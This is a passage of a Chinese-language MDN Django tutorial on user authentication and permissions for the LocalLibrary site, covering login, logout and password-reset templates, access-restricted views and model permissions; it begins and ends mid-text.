font-family: "Open Sans", arial, x-locale-body, sans-serif; font-size: 20px; font-style: normal; font-weight: 400; letter-spacing: normal; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; background-color: rgb(255, 255, 255);'><font><font>LocalLibrary</font></font></a><font><font>网站,添加登录页面和注销页面,以及用户和员工特定的页面以查看已借阅的图书</font></font>。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">先决条件:</th> + <td>完成之前的所有教程主题,包括<a href="/zh-CN/docs/Learn/Server-side/Django/Sessions">Django 教程 7:Sessions 框架</a>。</td> + </tr> + <tr> + <th scope="row">目的:</th> + <td>了解如何设置和使用用户身份验证和权限。</td> + </tr> + </tbody> +</table> + +<h2 id="概观">概观</h2> + +<p>Django 提供了一个身份验证和授权(“权限”)系统,该系统构建在<a href="/zh-CN/docs/Learn/Server-side/Django/Sessions">上一个教程</a>中讨论的会话框架之上,允许您验证用户凭据,并定义每个用户可允许执行的操作。该框架包括用户<code>Users</code>和分组<code>Groups</code>的内置模型(一次向多个用户应用权限的通用方法),用于登录用户的权限/标志,以指定用户是否可以执行任务,表单和视图,以及查看限制内容的工具。</p> + +<div class="note"> +<p><strong>注意</strong>: Django身份验证系统的目标非常通用,因此不提供其他Web身份验证系统中,所提供的某些功能。某些常见问题的解决方案,可作为第三方软件包提供。例如,限制登录尝试,和针对第三方的身份验证(例如 OAuth)。</p> +</div> + +<p>在本教程中,我们将向您展示,如何在<a href="/zh-CN/docs/Learn/Server-side/Django/Tutorial_local_library_website">LocalLibrary</a>网站中,启用用户身份验证,创建您自己的登录和注销页面,为模型添加权限,以及控制对页面的访问。我们将使用身份验证/权限,来显示用户和图书馆员借用图书的列表。</p> + +<p>身份验证系统非常灵活,您可以根据需要,从头开始构建 URLs,表单,视图和模板,只需调用提供的API,即可登录用户。但是,在本文中,我们将在登录和注销页面,使用 Django 的“库存” 身份验证视图和表单。我们仍然需要创建一些模板,但这很简单。</p> + +<p>我们还将向您展示如何创建权限,以及检查视图和模板中的登录状态和权限。</p> + +<h2 id="启用身份验证">启用身份验证</h2> + +<p>我们在<a href="/zh-CN/docs/Learn/Server-side/Django/skeleton_website">创建框架网站</a>时(在教程2中),自动启用了身份验证,因此您此时,无需再执行任何操作。</p> + +<div class="note"> +<p><strong>注意</strong>: 当我们使用 <code>django-admin startproject </code>命令,以创建应用程序时,所有必要的配置都已完成。当我们第一次调用 <code>python manage.py migrate</code> 时,创建了用户和模型权限的数据库表。</p> +</div> + +<p>配置在项目文件(<strong>locallibrary/locallibrary/settings.py</strong>)的<code>INSTALLED_APPS</code>和<code>MIDDLEWARE</code>部分中设置,如下所示:</p> + +<pre class="brush: python">INSTALLED_APPS = [ + ... +<strong> 'django.contrib.auth', </strong>#Core authentication framework and its default models. +<strong> 'django.contrib.contenttypes', #</strong>Django content type system (allows permissions to be associated with models). + .... + +MIDDLEWARE = [ + ... +<strong> 'django.contrib.sessions.middleware.SessionMiddleware',</strong> #Manages sessions across requests + ... +<strong> 'django.contrib.auth.middleware.AuthenticationMiddleware',</strong> #Associates users with requests using sessions. + .... +</pre> + +<h2 id="创建用户和分组">创建用户和分组</h2> + +<p>在教程 4 中,当我们查看 <a href="/zh-CN/docs/Learn/Server-side/Django/Admin_site">Django 管理站点</a>时,您已经创建了第一个用户(这是一个超级用户,使用命令 <code>python manage.py createsuperuser </code>创建)。我们的超级用户已经过身份验证,并拥有所有权限,因此我们需要创建一个测试用户,来代表普通网站用户。我们将使用管理站点,来创建我们的 locallibrary 组別和网站登录,因为这是最快的方法之一。</p> + +<div class="note"> +<p><strong>注意</strong>: 您还可以用编程方式创建用户,如下所示。您会必须这样做,例如,如果要开发一个界面,能允许用户创建自己的登录(您不应该授予用户访问管理站点的权限)。</p> + +<pre class="brush: python">from django.contrib.auth.models import User + +# Create user and save to the database +user = User.objects.create_user('myusername', 'myemail@crazymail.com', 'mypassword') + +# Update fields and then save again +user.first_name = 'John' +user.last_name = 'Citizen' +user.save() +</pre> +</div> + +<p>下面,我们首先创建一个分组,然后创建一个用户。即使我们还没有为我们的图书馆成员添加任何权限,如果我们以后需要,将它们添加到分组中,要比单独添加到每个成员要容易得多。</p> + +<p>启动开发服务器,并到本地 Web 浏览器中的管理站点(<a href="http://127.0.0.1:8000/admin/">http://127.0.0.1:8000/admin/</a>)。使用超级用户帐户的凭据,登录该站点。 Admin 站点的最上级显示所有模型,按 “django application” 排序。在 “身份验证和授权” <strong>Authentication and Authorisation </strong>部分 ,您可以单击用户 <strong>Users ,</strong>或分组 <strong>Groups </strong>链接,以查看其现有记录。</p> + +<p><img alt="Admin site - add groups or users" src="https://mdn.mozillademos.org/files/14091/admin_authentication_add.png" style="border-style: solid; border-width: 1px; display: block; height: 364px; margin: 0px auto; width: 661px;"></p> + +<p>首先,我们为图书馆成员,创建一个新的分组。</p> + +<ol> + <li>单击“添加” <strong>Add </strong>按钮(“分组” Group 旁边)以创建新的分组;在分组的名称<strong> Name</strong> ,输入“Library Members”。<img alt="Admin site - add group" src="https://mdn.mozillademos.org/files/14093/admin_authentication_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 561px; margin: 0px auto; width: 800px;"></li> + <li>我们不需要该组的任何权限,因此只需按<strong>SAVE</strong>(您将进入分组列表)。</li> +</ol> + +<p>现在让我们创建一个用户:</p> + +<ol> + <li>回到管理站点的主页</li> + <li>单击“用户”旁边的“添加”按钮 <strong>Add</strong>,以打开“添加用户”对话框。<img alt="Admin site - add user pt1" src="https://mdn.mozillademos.org/files/14095/admin_authentication_add_user_prt1.png" style="border-style: solid; border-width: 1px; display: block; height: 409px; margin: 0px auto; width: 800px;"></li> + <li>为测试用户输入适当的用户名(<strong>Username)</strong>和密码/密码确认<strong>(Password/Password confirmation</strong> )</li> + <li>按 <strong>SAVE</strong> 创建用户。 + <p> </p> + + <p>管理站点将创建新用户,并立即转到 “更改用户” 屏幕,您可以在其中更改用户名(<strong>username</strong>),并添加用户模型的可选字段的信息。这些字段包括名字,姓氏,电子邮件地址,用户状态和权限(仅应设置活动标志<strong> Active</strong>)。再往下,您可以指定用户的分组和权限,并查看与用户相关的重要日期(例如,他们的加入日期和上次登录日期)。</p> + <img alt="Admin site - add user pt2" src="https://mdn.mozillademos.org/files/14097/admin_authentication_add_user_prt2.png" style="border-style: solid; border-width: 1px; display: block; height: 635px; margin: 0px auto; width: 800px;"></li> + <li>在“分组”(<em>Groups</em>)部分中,从“可用分组”(<em>Available groups</em>)列表中,选择“图书馆成员”分组 <strong>Library Member</strong>,然后点击这些框之间的<strong>右箭头</strong>,将其移动到“选择的分组”(<em>Chosen groups</em>)框中。<img alt="Admin site - add user to group" src="https://mdn.mozillademos.org/files/14099/admin_authentication_user_add_group.png" style="border-style: solid; border-width: 1px; display: block; height: 414px; margin: 0px auto; width: 933px;"></li> + <li>我们不需要在此处执行任何其他操作,因此只需再次选择<strong> SAVE</strong> ,即可转到用户列表。</li> +</ol> + +<p>就是这样!现在您有一个 “普通的图书馆成员” 帐户,您可以使用该帐户进行测试(一旦我们实现了页面,使他们能够登录)。</p> + +<div class="note"> +<p><strong>注意</strong>: 您应该尝试创建另一个图书馆用户。此外,为图书馆管理员创建一个分组,并添加一个用户!</p> +</div> + +<h2 id="设置身份验证视图">设置身份验证视图</h2> + +<p>Django 提供了创建身份验证页面所需的几乎所有功能,让处理登录,注销和密码管理等工作,都能 “开箱即用”。这些相关功能包括了 url 映射器,视图和表单,但它不包括模板 - 我们必须创建自己的模板!</p> + +<p>在本节中,我们将展示如何将默认系统,集成到 LocalLibrary 网站并创建模板。我们将它们放在主项目的 URL 当中。</p> + +<div class="note"> +<p><strong>注意</strong>: 您不必一定要使用这些代码,但您可能希望这样做,因为它使事情变得更容易。如果更改用户模型(高级主题!),您几乎肯定需要更改表单处理代码。但即便如此,您仍然可以使用先前已经有的视图功能。</p> +</div> + +<div class="note"> +<p><strong>注意: </strong>在这种情况下,我们可以合理地将认证页面(包括URL和模板)放在我们的目录应用程序中。但是,如果我们有多个应用程序,最好将这个共享登录行为分开,并让它在整个站点上可用,这就是我们在这里展示的内容!</p> +</div> + +<h3 id="项目网址">项目网址</h3> + +<p>将以下内容,添加到项目 urls.py(<strong>locallibrary/locallibrary/urls.py</strong>)文件的底部:</p> + +<pre class="brush: python"># Use include() to add URLS from the catalog application and authentication system +from django.urls import include + +#Add Django site authentication urls (for login, logout, password management) +urlpatterns += [ + path('accounts/', include('django.contrib.auth.urls')), +] +</pre> + +<p>打开 URL <a href="http://127.0.0.1:8000/accounts/">http://127.0.0.1:8000/accounts/</a> (注意前面的斜杠!),Django将显示一个错误,它无法找到此URL,并列出它尝试过的所有URL。从中您可以看到可以使用的URL,例如:</p> + +<div class="note"> +<p><strong>注意: </strong>使用上面的方法,添加以下带有方括号中的名称的 URL,可用于反转 URL 映射。您不必实现任何其他内容 - 上面的 url 映射,会自动映射下面提到的URL。</p> +</div> + +<div class="note"> +<pre class="brush: python">accounts/ login/ [name='login'] +accounts/ logout/ [name='logout'] +accounts/ password_change/ [name='password_change'] +accounts/ password_change/done/ [name='password_change_done'] +accounts/ password_reset/ [name='password_reset'] +accounts/ password_reset/done/ [name='password_reset_done'] +accounts/ reset/<uidb64>/<token>/ [name='password_reset_confirm'] +accounts/ reset/done/ [name='password_reset_complete']</pre> +</div> + +<p>现在尝试打开登录 URL(<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>)。这将再次失败,但有一个错误告诉您,我们在模板搜索路径上缺少必需的模板(<strong>registration/login.html</strong>)。您将在顶部的黄色部分中,看到以下文字:</p> + +<pre class="brush: python">Exception Type: TemplateDoesNotExist +Exception Value: <strong>registration/login.html</strong></pre> + +<p>下一步是在搜索路径上创建注册目录,然后添加 <strong>login.html </strong>文件。</p> + +<h3 id="模板目录">模板目录</h3> + +<p>我们希望在模板搜索路径中的目录 <strong>/registration/</strong> 某处,找到刚刚添加的 url(以及隐式视图)的关联模板。</p> + +<p>对于此站点,我们将 HTML 页面,放在 <strong>templates/registration/ </strong>目录中。此目录应该位于项目的根目录中,即与 <strong>catalog </strong>和 <strong>locallibrary </strong>文件夹相同的目录)。请立即创建这些文件夹。</p> + +<div class="note"> +<p><strong>注意:</strong> 您的文件夹结构,现在应如下所示:<br> + locallibrary (django project folder)<br> + |_catalog<br> + |_locallibrary<br> + |_templates <strong>(new)</strong><br> + |_registration</p> +</div> + +<p>要使这些目录对模板加载器可见(即将此目录放在模板搜索路径中),请打开项目设置(<strong>/locallibrary/locallibrary/settings.py</strong>),并更新<code>TEMPLATES </code>部分的 “<code>DIRS</code>” 那一行,如下所示。</p> + +<pre class="brush: python">TEMPLATES = [ + { + ... +<strong> 'DIRS': ['./templates',],</strong> + 'APP_DIRS': True, + ... +</pre> + +<h3 id="登录模板">登录模板</h3> + +<div class="warning"> +<p><strong>重要说明</strong>: 本文提供的身份验证模板,是 Django 演示登录模板的基本/略微修改版本。您可能需要自定义它们,以供自己使用!</p> +</div> + +<p>创建一个名为 <strong>/locallibrary/templates/registration/login.html</strong> 的新HTML文件。为它加入以下内容:</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + +{% if form.errors %} +<p>Your username and password didn't match. Please try again.</p> +{% endif %} + +{% if next %} + {% if user.is_authenticated %} + <p>Your account doesn't have access to this page. To proceed, + please login with an account that has access.</p> + {% else %} + <p>Please login to see this page.</p> + {% endif %} +{% endif %} + +<form method="post" action="{% url 'login' %}"> +{% csrf_token %} + +<div> + <td>\{{ form.username.label_tag }}</td> + <td>\{{ form.username }}</td> +</div> +<div> + <td>\{{ form.password.label_tag }}</td> + <td>\{{ form.password }}</td> +</div> + +<div> + <input type="submit" value="login" /> + <input type="hidden" name="next" value="\{{ next }}" /> +</div> +</form> + +{# Assumes you setup the password_reset view in your URLconf #} +<p><a href="{% url 'password_reset' %}">Lost password?</a></p> + +{% endblock %}</pre> + +<p>此模板与我们之前看到的模板,有一些相似之处 - 它扩展了我们的基本模板,并覆盖了内容区块 <code>content</code>。其余代码,是相当标准的表单处理代码,我们将在后面的教程中讨论。您现在需要知道的是,这将显示一个表单,您可以在其中输入您的用户名和密码,如果您输入的值无效,则会在页面刷新时,提示您输入正确的值。</p> + +<p>保存模板后,回到登录页面(<a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a>),您应该看到如下内容:</p> + +<p><img alt="Library login page v1" src="https://mdn.mozillademos.org/files/14101/library_login.png" style="border-style: solid; border-width: 1px; display: block; height: 173px; margin: 0px auto; width: 441px;"></p> + +<p>如果您尝试登录,将会成功,并且您将被重定向到另一个页面(默认情况下,这将是 <a href="http://127.0.0.1:8000/accounts/profile/">http://127.0.0.1:8000/accounts/profile/</a>)。这里的问题是,默认情况下,Django希望在登录后,你可能会被带到个人资料页面,这可能是,也可能不是。由于您还没有定义此页面,您将收到另一个错误!</p> + +<p>打开项目设置(<strong>/locallibrary/locallibrary/settings.py</strong>),并将下面的文本添加到底部。现在登录时,您应该默认重定向到站点主页。</p> + +<pre class="brush: python"># Redirect to home URL after login (Default redirects to /accounts/profile/) +LOGIN_REDIRECT_URL = '/' +</pre> + +<h3 id="登出模板">登出模板</h3> + +<p>如果您打开登出网址(<a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a>),那么您会看到一些奇怪的行为 - 您所属的用户肯定会被登出,但您将被带到管理员登出页面。这不是您想要的,只是因为该页面上的登录链接,将您带到管理员登录屏幕(并且仅对具有<code>is_staff</code>权限的用户可用)。</p> + +<p>创建并打开 /<strong>locallibrary/templates/registration/logged_out.html</strong>。将下面的文字,复制到文档中:</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} +<p>Logged out!</p> + +<a href="{% url 'login'%}">Click here to login again.</a> +{% endblock %}</pre> + +<p>这个模板非常简单。它只显示一条消息,通知您已登出,并提供一个链接,您可以点击此按钮,返回登录屏幕。如果再次回到登出 URL,您应该看到此页面:</p> + +<p><img alt="Library logout page v1" src="https://mdn.mozillademos.org/files/14103/library_logout.png" style="border-style: solid; border-width: 1px; display: block; height: 169px; margin: 0px auto; width: 385px;"></p> + +<h3 id="密码重置模板">密码重置模板</h3> + +<p>默认密码重置系统,使用电子邮件向用户发送重置链接。您需要创建表单,以获取用户的电子邮件地址,发送电子邮件,允许他们输入新密码,以及记录整个过程的完成时间。</p> + +<p>以下模板可作为起点。</p> + +<h4 id="密码重置表单">密码重置表单</h4> + +<p>这是用于获取用户电子邮件地址的表单(用于发送密码重置电子邮件)。创建 <strong>/locallibrary/templates/registration/password_reset_form.html</strong>,并为其提供以下内容:</p> + +<pre class="brush: html">{% extends "base_generic.html" %} +{% block content %} + +<form action="" method="post">{% csrf_token %} + {% if form.email.errors %} \{{ form.email.errors }} {% endif %} + <p>\{{ form.email }}</p> + <input type="submit" class="btn btn-default btn-lg" value="Reset password" /> +</form> + +{% endblock %} +</pre> + +<h4 id="密码重置完成">密码重置完成</h4> + +<p>收集您的电子邮件地址后,会显示此表单。创建 <strong>/locallibrary/templates/registration/password_reset_done.html</strong>,并为其提供以下内容:</p> + +<pre class="brush: html">{% extends "base_generic.html" %} +{% block content %} +<p>We've emailed you instructions for setting your password. If they haven't arrived in a few minutes, check your spam folder.</p> +{% endblock %} +</pre> + +<h4 id="密码重置电子邮件">密码重置电子邮件</h4> + +<p>此模板提供 HTML 电子邮件的文本,其中包含我们将发送给用户的重置链接。创建 <strong>/locallibrary/templates/registration/password_reset_email.html</strong>,并为其提供以下内容:</p> + +<pre class="brush: html">Someone asked for password reset for email \{{ email }}. Follow the link below: +\{{ protocol}}://\{{ domain }}{% url 'password_reset_confirm' uidb64=uid token=token %} +</pre> + +<h4 id="密码重置确认">密码重置确认</h4> + +<p>点击密码重置电子邮件中的链接后,您可以在此页面输入新密码。创建 <strong>/locallibrary/templates/registration/password_reset_confirm.html</strong>,并为其提供以下内容:</p> + +<pre class="brush: html">{% extends "base_generic.html" %} + +{% block content %} + + {% if validlink %} + <p>Please enter (and confirm) your new password.</p> + <form action="" method="post"> + <div style="display:none"> + <input type="hidden" value="\{{ csrf_token }}" name="csrfmiddlewaretoken"> + </div> + <table> + <tr> + <td>\{{ form.new_password1.errors }} + <label for="id_new_password1">New password:</label></td> + <td>\{{ form.new_password1 }}</td> + </tr> + <tr> + <td>\{{ form.new_password2.errors }} + <label for="id_new_password2">Confirm password:</label></td> + <td>\{{ form.new_password2 }}</td> + </tr> + <tr> + <td></td> + <td><input type="submit" value="Change my password" /></td> + </tr> + </table> + </form> + {% else %} + <h1>Password reset failed</h1> + <p>The password reset link was invalid, possibly because it has already been used. Please request a new password reset.</p> + {% endif %} + +{% endblock %} +</pre> + +<h4 id="密码重置完成_2">密码重置完成</h4> + +<p>这是最后一个密码重置模板,显示该模板,以在密码重置成功时通知您。创建 <strong>/locallibrary/templates/registration/password_reset_complete.html</strong>,并为其提供以下内容:</p> + +<pre class="brush: html">{% extends "base_generic.html" %} +{% block content %} + +<h1>The password has been changed!</h1> +<p><a href="{% url 'login' %}">log in again?</a></p> + +{% endblock %}</pre> + +<h3 id="测试新的身份验证页面">测试新的身份验证页面</h3> + +<p>现在您已经添加了 URL 配置,并创建了所有模板,现在认证页面应该可以正常工作了!</p> + +<p>您可以尝试登录,然后使用以下 URL 登出超级用户帐户,来测试新的身份验证页面:</p> + +<ul> + <li><a href="http://127.0.0.1:8000/accounts/login/">http://127.0.0.1:8000/accounts/login/</a></li> + <li><a href="http://127.0.0.1:8000/accounts/logout/">http://127.0.0.1:8000/accounts/logout/</a></li> +</ul> + +<p>您将能够从登录页面中的链接,测试密码重置功能。<strong>请注意,Django只会向已存储在其数据库中的地址(用户)发送重置电子邮件!</strong></p> + +<div class="note"> +<p><strong>注意</strong>: 密码重置系统,要求您的网站支持电子邮件,这超出了本文的范围,因此该部分<strong>将无法使用</strong>。要测试此功能,请将以下一行放在 settings.py 文件的末尾。这会记录发送到命令行控制台的所有电子邮件(因此您可以从命令行控制台,复制密码重置链接)。</p> + +<pre class="brush: python">EMAIL_BACKEND = 'django.core.mail.backends.console.EmailBackend' +</pre> + +<p>有关更多信息,请参阅<a href="https://docs.djangoproject.com/en/2.0/topics/email/">发送电子邮件</a>(Django文档)。</p> +</div> + +<h2 id="测试已验证身份的用户">测试已验证身份的用户</h2> + +<p>本节介绍如何根据用户是否登录,来有选择地控制用户看到的内容。</p> + +<h3 id="在模板中测试">在模板中测试</h3> + +<p>您可以使用<code>\{{ user }}</code>模板变量,以获取有关模板中,当前登录用户的信息(默认情况下,在我们在骨架中设置项目时,会将其添加到模板上下文中)。</p> + +<p>通常,您将首先针对 <code>\{{ user.is_authenticated }} </code>模板变量进行测试,以确定用户是否有资格查看特定内容。为了展示这一点,接下来我们将更新侧边栏,以在用户登出时,显示“登录”链接,如果他们已登录,则显示“登出”链接。</p> + +<p>打开基本模板(<strong>/locallibrary/catalog/templates/base_generic.html</strong>),并将以下文本,复制到侧边栏区块<code>sidebar</code>中,紧接在<code>endblock</code>模板标记之前。</p> + +<pre class="brush: html"> <ul class="sidebar-nav"> + + ... + + <strong>{% if user.is_authenticated %}</strong> + <li>User: <strong>\{{ user.get_username }}</strong></li> + <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li> + <strong>{% else %}</strong> + <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li> + <strong>{% endif %} </strong> + </ul></pre> + +<p>如您所见,我们使用 <code>if</code>-<code>else</code>-<code>endif</code>模板标签,根据 <code>\{{ user.is_authenticated }}</code> 是否为 true ,来有条件地显示文本。如果用户已通过身份验证,那么我们知道,我们拥有有效用户,因此我们会调用 <strong>\{{ user.get_username }} </strong>,来显示其名称。</p> + +<p>我们使用 <code>url</code>模板标记,和相应 URL 配置的名称,创建登录和登出链接 URL。另外请注意,我们如何将 “<code>?next=\{{request.path}}</code>附加到URL的末尾。这样做,是将包含当前页面地址(URL)的URL参数,添加到链接URL的末尾。用户成功登录/登出后,视图将使用此“下一个”值,将用户重定向,回到他们首次单击登录/登出链接的页面。</p> + +<div class="note"> +<p><strong>注意</strong>: 试试吧!如果您在主页上,并单击侧栏中的“登录/登出”,在操作完成后,您应该返回到同一页面。</p> +</div> + +<h3 id="在视图中测试">在视图中测试</h3> + +<p>如果您正在使用基于函数的视图,则限制访问函数的最简单方法,是将<code>login_required</code>装饰器,应用于您的视图函数,如下所示。如果用户已登录,则您的视图代码将正常执行。</p> + +<p>如果用户未登录,则会重定向到项目设置 (<code>settings.LOGIN_URL</code>)中定义的登录URL,并将当前绝对路径,作为URL参数("下一个"<code>next</code>)来传递。如果用户成功登录,则会返回到此页面,但这次会进行身份验证。</p> + +<pre class="brush: python">from django.contrib.auth.decorators import login_required + +@login_required +def my_view(request): + ...</pre> + +<div class="note"> +<p><strong>注意:</strong> 您可以通过<code>request.user.is_authenticated</code>,测试手动执行类似的操作,但装饰器更方便!</p> +</div> + +<p>同样,在基于类别的视图中,限制对登录用户的访问的最简单方法,是从<code>LoginRequiredMixin</code>派生。您需要在主视图类之前的超类列表中,首先声明此 mixin。</p> + +<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin + +class MyView(LoginRequiredMixin, View): + ...</pre> + +<p>这与<code>login_required</code>装饰器,具有完全相同的重定向行为。如果用户未经过身份验证(<code>login_url</code>),还可以指定一个替代位置,以将用户重定向到该位置,并使用URL参数名称,而不是“<code>next</code>”,来插入当前绝对路径(<code>redirect_field_name</code>)。</p> + +<pre class="brush: python">class MyView(LoginRequiredMixin, View): + login_url = '/login/' + redirect_field_name = 'redirect_to' +</pre> + +<p>有关其他详细信息,请查看<a href="https://docs.djangoproject.com/en/2.0/topics/auth/default/#limiting-access-to-logged-in-users">Django</a>文档。</p> + +<h2 id="示例_-_列出当前用户的书本">示例 - 列出当前用户的书本</h2> + +<p>现在我们知道,如何将页面限制为特定用户,让我们为当前用户借阅的书本,创建一个视图。</p> + +<p>不幸的是,我们还没有办法让用户借书!因此,在我们创建图书清单之前,我们首先会扩展<code>BookInstance</code>模型,以支持借阅的概念,并使用Django Admin应用程序,借给测试用户一些书。</p> + +<h3 id="模型">模型</h3> + +<p>首先,我们必须让用户可以借用书本实例<code>BookInstance</code>(我们已经拥有状态<code>status</code>和还书日期<code>due_back</code>,但这个模型和用户之间,没有任何关联。我们将使用<code>ForeignKey</code>(一对多)字段,来创建一个。我们还需要一个简单的机制,来测试借出的书是否过期。</p> + +<p>打开 <strong>catalog/models.py</strong>,然后从 <code>django.contrib.auth.models</code> 导入 <code>User</code>模型(在文件顶部的上一个导入行的正下方添加它,好让后续代码可以使用 <code>User</code>):</p> + +<pre class="brush: python">from django.contrib.auth.models import User +</pre> + +<p>接下来将借用者字段<code>borrower</code>,添加到<code>BookInstance</code>模型:</p> + +<pre class="brush: python">borrower = models.ForeignKey(User, on_delete=models.SET_NULL, null=True, blank=True) +</pre> + +<p>当我们在这里,让我们添加一个属性,我们可以从模板中调用它,来判断特定的书本实例是否过期。虽然我们可以在模板本身中计算这一点,但使用如下所示的<a href="https://docs.python.org/3/library/functions.html#property">属性</a>会更有效率。将其添加到文件的底部:</p> + +<pre class="brush: python">from datetime import date + +@property +def is_overdue(self): + if self.due_back and date.today() > self.due_back: + return True + return False</pre> + +<div class="note"> +<p><strong>注意</strong>: 在进行比较之前,我们首先验证<code>due_back</code>是否为空。空的<code>due_back</code>字段,会导致Django抛出错误,而不是显示页面:空值不具有可比性。这不是我们希望用户体验到的东西!</p> +</div> + +<p>现在我们已经更新了模型,我们需要对项目进行新的迁移,然后应用这些迁移:</p> + +<pre class="brush: bash">python3 manage.py makemigrations +python3 manage.py migrate +</pre> + +<h3 id="管理员">管理员</h3> + +<p>现在打开 <strong>catalog/admin.py</strong>,并将<code>borrower</code>字段,添加到<code>BookInstanceAdmin</code>类别中的<code>list_display</code>和<code>fieldsets</code>,如下所示。这将使该字段在Admin部分中可见,以便我们可以在需要时将<code>User</code>分配给<code>BookInstance</code>。</p> + +<pre class="brush: python">@admin.register(BookInstance) +class BookInstanceAdmin(admin.ModelAdmin): + list_display = ('book', 'status'<strong>, 'borrower'</strong>, 'due_back', 'id') + list_filter = ('status', 'due_back') + + fieldsets = ( + (None, { + 'fields': ('book','imprint', 'id') + }), + ('Availability', { + 'fields': ('status', 'due_back'<strong>,'borrower'</strong>) + }), + )</pre> + +<h3 id="借几本书">借几本书</h3> + +<p>现在可以将书本借给特定用户,然后借出一些<code>BookInstance</code>记录。将他们的借用字段<code>borrowed</code>,设置为您的测试用户,将状态<code>status</code>设置为 “On loan”,并在将来和过去设置截止日期。</p> + +<div class="note"> +<p><strong>注意</strong>: 我们不会一步一步说明这个流程,因为您已经知道如何使用管理站点!</p> +</div> + +<h3 id="在借书视图">在借书视图</h3> + +<p>现在我们将添加一个视图,以获取已经借给当前用户的所有书本列表。我们将使用我们熟悉的、基于类的通用类列表视图,但这次我们还将导入并派生自<code>LoginRequiredMixin</code>,以便只有登录用户才能调用此视图。我们还将选择声明<code>template_name</code>,而不是使用默认值,因为我们最终可能会有几个不同的 BookInstance 记录列表,其中包含不同的视图和模板。</p> + +<p>将以下内容添加到 catalog/views.py:</p> + +<pre class="brush: python">from django.contrib.auth.mixins import LoginRequiredMixin + +class LoanedBooksByUserListView(LoginRequiredMixin,generic.ListView): + """ + Generic class-based view listing books on loan to current user. + """ + model = BookInstance + template_name ='catalog/bookinstance_list_borrowed_user.html' + paginate_by = 10 + + def get_queryset(self): + return BookInstance.objects.filter(borrower=self.request.user).filter(status__exact='o').order_by('due_back')</pre> + +<p>为了将查询,限制为当前用户的<code>BookInstance</code>对象,我们重新实现了<code>get_queryset()</code>,如上所示。请注意,“o”是表示借出当中“on loan”的存储代码,我们按<code>due_back</code>日期排序,以便首先显示最旧的项目。</p> + +<h3 id="借书的_URL_设置">借书的 URL 设置</h3> + +<p>现在打开<strong>/catalog/urls.py</strong>,并添加指向上面视图的<code>path()</code>(您只需将下面的文本复制到文件末尾)。</p> + +<pre class="brush: python">urlpatterns += [ + path('mybooks/', views.LoanedBooksByUserListView.as_view(), name='my-borrowed'), +]</pre> + +<h3 id="借书的模板">借书的模板</h3> + +<p>现在,我们需要为此页面添加一个模板。首先,创建模板文件<strong>/catalog/templates/catalog/bookinstance_list_borrowed_user.html</strong>,并为其提供以下内容:</p> + +<pre class="brush: python">{% extends "base_generic.html" %} + +{% block content %} + <h1>Borrowed books</h1> + + {% if bookinstance_list %} + <ul> + + {% for bookinst in bookinstance_list %} + <li class="{% if bookinst.is_overdue %}text-danger{% endif %}"> + <a href="{% url 'book-detail' bookinst.book.pk %}">\{{bookinst.book.title}}</a> (\{{ bookinst.due_back }}) + </li> + {% endfor %} + </ul> + + {% else %} + <p>There are no books borrowed.</p> + {% endif %} +{% endblock %}</pre> + +<p>此模板与我们之前为 <code>Book </code>和 <code>Author</code>对象创建的模板非常相似。这里唯一新的东西,是我们检查在模型中添加的方法(<code>bookinst.is_overdue</code>),并使用它,来更改过期项目的颜色。</p> + +<p>当开发服务器运行时,您现在应该能够在浏览器中,查看登录用户的列表,网址为<a href="http://127.0.0.1:8000/catalog/mybooks/">http://127.0.0.1:8000/catalog/mybooks/</a>。在您的用户登录并登出后,尝试此操作(在第二种情况下,您应该被重定向到登录页面)。</p> + +<p> </p> + +<h3 id="将列表添加到侧栏">将列表添加到侧栏</h3> + +<p>最后一步,是将这个新页面的链接,添加到侧边栏中。我们将把它放在我们为登录用户显示其他信息的同一部分。</p> + +<p>打开基本模板(<strong>/locallibrary/catalog/templates/base_generic.html</strong>),并将粗体标识的那一行,添加到侧边栏区块,如下所示。</p> + +<pre class="brush: python"> <ul class="sidebar-nav"> + {% if user.is_authenticated %} + <li>User: \{{ user.get_username }}</li> +<strong> <li><a href="{% url 'my-borrowed' %}">My Borrowed</a></li></strong> + <li><a href="{% url 'logout'%}?next=\{{request.path}}">Logout</a></li> + {% else %} + <li><a href="{% url 'login'%}?next=\{{request.path}}">Login</a></li> + {% endif %} + </ul> +</pre> + +<h3 id="它看起来是什么样子的?">它看起来是什么样子的?</h3> + +<p>当任何用户登录时,他们会在侧栏中看到 My Borrowed 链接,并显示如下所示的书本列表(第一本书没有截止日期,这是我们希望在以后的教程中修复的错误!) 。</p> + +<p><img alt="Library - borrowed books by user" src="https://mdn.mozillademos.org/files/14105/library_borrowed_by_user.png" style="border-style: solid; border-width: 1px; display: block; height: 215px; margin: 0px auto; width: 530px;"></p> + +<h2 id="权限">权限</h2> + +<p>权限与模型相关联,并定义可以由具有权限的用户,在模型实例上执行的操作。默认情况下,Django会自动为所有模型提供添加,更改和删除权限,这允许具有权限的用户,通过管理站点执行相关操作。您可以为模型定义自己的权限,并将其授予特定用户。您还可以更改与同一模型的不同实例关联的权限。</p> + +<p>对于视图和模板中的权限测试,非常类似于对身份验证状态的测试(实际上,测试权限也会测试身份验证)。</p> + +<h3 id="模型_2">模型</h3> + +<p>在模型“<code>class Meta</code>”部分上,使用 <code>permissions</code>字段,完成权限定义。您可以在元组中指定所需的权限,每个权限本身,都在包含权限名称和权限显示值的嵌套元组中被定义。例如,我们可能会定义一个权限,允许用户标记已归还的图书,如下所示:</p> + +<pre class="brush: python">class BookInstance(models.Model): + ... + class Meta: + ... +<strong> permissions = (("can_mark_returned", "Set book as returned"),) </strong> </pre> + +<p>然后,我们可以将权限分配给管理站点中的图书管理员“Librarian”分组。打开 <strong>catalog/models.py</strong>,然后添加权限,如上所示。您需要重新运行迁移(调用 <code>python3 manage.py makemigrations</code> 和 <code>python3 manage.py migrate</code>),以适当地更新数据库。</p> + +<p> </p> + +<h3 id="模板">模板</h3> + +<p>当前用户的权限,存在名为 